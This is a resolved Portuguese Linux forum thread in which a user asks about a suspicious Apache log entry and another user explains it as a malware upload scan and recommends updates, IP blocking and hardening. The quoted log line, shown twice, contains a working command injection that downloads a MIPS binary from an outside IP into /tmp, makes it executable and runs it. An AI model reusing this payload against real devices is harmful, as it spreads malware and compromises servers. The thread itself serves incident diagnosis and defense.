Denuncie   Favoritos   Indicar  

Log suspeito no apache! [RESOLVIDO]

1. Log suspeito no apache! [RESOLVIDO]

RecScreeN
recscreen123
(usa Linux Mint)

Enviado em 23/07/2018 - 03:57h

Alguém ai sabe oque pode ser isso aqui?
118.83.9.179 - - [23/Jul/2018:03:30:43 -0300] "GET /login.cgi?cli=aa%20aa%27;wget%20http://178.128.11.199/qtx.mips%20-O%20-%3E%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz%27$ HTTP/1.1" 400 0 "-" "-"
acabei de encontrar no log do meu apache.

0 0
  • Quote

    •   


    2. MELHOR RESPOSTA

    Paulo Bonfanti
    pbonfanti
    (usa Debian)

    Enviado em 23/07/2018 - 08:46h

    recscreen123 escreveu:

    Alguém ai sabe oque pode ser isso aqui?
    118.83.9.179 - - [23/Jul/2018:03:30:43 -0300] "GET /login.cgi?cli=aa%20aa%27;wget%20http://178.128.11.199/qtx.mips%20-O%20-%3E%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz%27$ HTTP/1.1" 400 0 "-" "-"
    acabei de encontrar no log do meu apache.


    Escaneamento verificando se é possivel fazer upload de algum malware e executar no seu servidor, pode ser um "shellshock atack". Aqui tem uma matéria em inglês demonstrando o ataque:

    http://rajsadayeshellshock.blogspot.com/2016/11/shellshock-attack-using-metasploit.html

    Atualize pacotes, bloqueie o IP e faça "hardening" do sistema.
    E o aplicativo "lynis" citado na matéria acima é bastante útil.

    https://www.tecmint.com/apache-security-tips/

    3 0
  • Quote





    • Patrocínio

    Site hospedado pelo provedor RedeHost.
    Linux banner

    Destaques

    Artigos

    Instalação e configuração do Chrony

    Programa IRPF - Guia de Instalação e Resolução de alguns Problemas

    Criando uma Infraestrutura para uma micro Empresa

    Criar entrada (menuentry) ISO no Grub

    Grande dificuldade tanto para rodar distros em modo LIVE como para instalar Linux em Sony Vaio PCG6131L / VPCEA24FM

    Dicas

    O Que Fazer Após Instalar Ubuntu 25.04

    O Que Fazer Após Instalar Fedora 42

    Debian 12 -- Errata - Correções de segurança

    Instalando o Pi-Hole versão v5.18.4 depois do lançamento da versão v6.0

    Instalar o VIM 9.1 no Debian 12

    Tópicos

    Como criar um arquivo ISO de um sistema personalizado (2)

    Atualização 2025 (4)

    Qbittorrent não faz upload - POP OS 22.04 (2)

    Como instalar o Debian usando um pendrive? (9)

    history (1)

    Top 10 do mês

    Scripts

    [Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)

    [C/C++] IPHunter - caçador de ip

    [Shell Script] Script de Backup do Perfil dos Usuários do Sistema em Batch do Windows

    [C/C++] Alucard - scan de redes defensivo

    [Outros] Dicas e truques Matematica Básica

    A maior comunidade GNU/Linux da América Latina! Artigos, dicas, tutoriais, fórum, scripts e muito mais. Ideal para quem busca auto-ajuda.

    Site hospedado por: